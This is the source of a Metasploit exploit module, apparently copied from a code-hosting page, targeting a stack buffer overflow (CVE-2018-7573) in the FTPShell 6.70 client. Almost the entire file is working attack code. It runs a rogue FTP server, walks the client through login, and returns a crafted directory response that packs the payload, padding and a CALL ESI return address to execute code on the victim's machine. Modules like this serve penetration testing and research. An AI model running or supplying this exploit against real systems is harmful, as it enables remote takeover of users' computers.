Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/ftpshell_cli_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise15edition) allowing remote code execution.16},17'Author' =>18[19'r4wd3r', # Original exploit author20'Daniel Teixeira' # MSF module author21],22'License' => MSF_LICENSE,23'References' =>24[25[ 'CVE', '2018-7573'],26[ 'EDB', '44596' ]27],28'Payload' =>29{30'Space' => 400,31'BadChars' => "\x00\x22\x0d\x0a\x0b"32},33'Platform' => 'win',34'Targets' =>35[36# CALL ESI in FTPShell.exe : 0x00452eed37[ 'Windows Universal', {'Ret' => "\xed\x2e\x45" } ]38],39'Privileged' => false,40'DefaultOptions' =>41{42'SRVHOST' => '0.0.0.0',43'EXITFUNC' => 'thread'44},45'DisclosureDate' => '2017-03-04',46'DefaultTarget' => 0))4748register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]49end5051def exploit52srv_ip_for_client = datastore['SRVHOST']53if srv_ip_for_client == '0.0.0.0'54if datastore['LHOST']55srv_ip_for_client = datastore['LHOST']56else57srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')58end59end6061srv_port = datastore['SRVPORT']6263print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")64super65end6667def on_client_connect(client)68p = regenerate_payload(client)69return if p.nil?70print_status("#{client.peerhost} - connected.")7172res = client.get_once.to_s.strip73print_status("#{client.peerhost} - Request: #{res}") unless res.empty?74print_status("#{client.peerhost} - Response: Sending 220 Welcome")75welcome = "220 Welcome.\r\n"76client.put(welcome)7778res = client.get_once.to_s.strip79print_status("#{client.peerhost} - Request: #{res}")80print_status("#{client.peerhost} - Response: sending 331 OK")81user = "331 OK.\r\n"82client.put(user)8384res = client.get_once.to_s.strip85print_status("#{client.peerhost} - Request: #{res}")86print_status("#{client.peerhost} - Response: Sending 230 OK")87pass = "230 OK.\r\n"88client.put(pass)89res = client.get_once.to_s.strip90print_status("#{client.peerhost} - Request: #{res}")9192sploit = '220 "'93sploit << payload.encoded94sploit << "\x20" * (payload_space - payload.encoded.length)95sploit << target.ret96sploit << "\" is current directory\r\n"9798print_status("#{client.peerhost} - Request: Sending the malicious response")99client.put(sploit)100101end102end103104105